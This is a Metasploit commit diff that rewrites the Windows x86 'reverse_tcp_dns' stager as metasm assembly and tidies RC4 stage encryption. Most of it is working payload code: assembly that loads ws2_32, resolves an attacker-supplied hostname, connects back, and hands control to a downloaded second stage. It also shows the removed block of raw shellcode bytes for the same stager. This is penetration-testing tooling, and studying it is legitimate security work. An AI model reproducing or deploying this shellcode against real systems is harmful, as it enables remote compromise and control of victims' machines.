Implement reverse_tcp_dns as metasm payload

Using the separation of block_recv and reverse_tcp, implement
reverse_tcp_dns using original shellcode as template with dynamic
injection of parameters. Concatenate the whole thing in the
generation call chain, and compile the resulting shellcode for
delivery.

Metasploit module pruned to bare minimum, with the LHOST OptString
moved into the library component.

Testing:
  Win2k8r2

ToDo:
  Update payload sizes when this branch is "complete"
  Ensure UUIDs and adjacent black magic all work properly

Misc:
  Clean up rc4.rb to use the rc4_keys method when generating a
stage. Makes the implementation far more readable and reduces
redundant code.
bug/bundler_fix
RageLtMan 2015-09-29 03:04:59 -04:00 committed by Brent Cook
parent df2346d9e0
commit 0e69040a6a
3 changed files with 174 additions and 54 deletions

View File

@ -88,14 +88,12 @@ module Payload::Windows::Rc4
def generate_stage(opts={})
p = super(opts)
m = OpenSSL::Digest.new('sha1')
m.reset
key = m.digest(datastore["RC4PASSWORD"] || "")
xorkey,rc4key = rc4_keys(datastore['RC4PASSWORD'])
c1 = OpenSSL::Cipher::Cipher.new('RC4')
c1.decrypt
c1.key=key[4,16]
c1.key = rc4key
p = c1.update(p)
return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p
return [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
end
def handle_intermediate_stage(conn, payload)

View File

@ -0,0 +1,167 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/reverse_tcp'
module Msf
###
#
# Complex reverse_tcp payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseTcpDns
include Msf::Payload::TransportConfig
include Msf::Payload::Windows::ReverseTcp
#
# Register dns specific options
#
def initialize(*args)
super
# Overload LHOST as a String value for the hostname
register_options([ OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) ], self.class)
end
#
# Generate the first stage
#
def generate
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_tcp_dns(conf)
end
#
# Generate and compile the stager
#
def generate_reverse_tcp_dns(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_tcp_dns(opts)}
#{asm_block_recv(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count Number of retry attempts
#
def asm_reverse_tcp_dns(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
create_socket:
call got_hostname
hostname:
db "#{opts[:host]}", 0x00
got_hostname:
push #{Rex::Text.block_api_hash( "ws2_32.dll", "gethostbyname" )}
call ebp ; gethostbyname( "name" );
set_address:
mov eax, [eax+28] ; names
push #{retry_count} ; retry counter
push eax ; host address
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz try_connect
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
^
asm << asm_send_uuid if include_send_uuid
asm
end
end
end

View File

@ -6,14 +6,14 @@
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/windows/reverse_tcp_dns'
module MetasploitModule
CachedSize = 356
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::ReverseTcpDns
def self.handler_type_alias
"reverse_tcp_dns"
@ -23,61 +23,16 @@ module MetasploitModule
super(merge_info(info,
'Name' => 'Reverse TCP Stager (DNS)',
'Description' => 'Connect back to the attacker',
'Author' => ['hdm', 'skape', 'sf'],
'Author' => ['hdm', 'skape', 'sf', 'RageLtMan'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'RequiresMidstager' => false,
'Offsets' => {
# ExitFunk Offset: 297
'LPORT' => [ 272, 'n' ],
'ReverseConnectRetries' => [ 267, 'C']
},
'Payload' =>
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" +
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xE8\x40\x00\x00\x00" +
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00" +
"\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05\x50\x68\x02\x00" +
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85" +
"\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A" +
"\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" +
"\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" +
"\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" +
"\xC6\x75\xEE\xC3"
}
{ 'RequiresMidstager' => false }
))
# Overload LHOST as a String value for the hostname
register_options([
OptString.new("LHOST", [true, "The DNS hostname to connect back to"])
], self.class)
end
def generate
p = super
i = p.index("X" * 63)
u = datastore['LHOST'].to_s + "\x00"
raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64
p[i, u.length] = u
p
end
end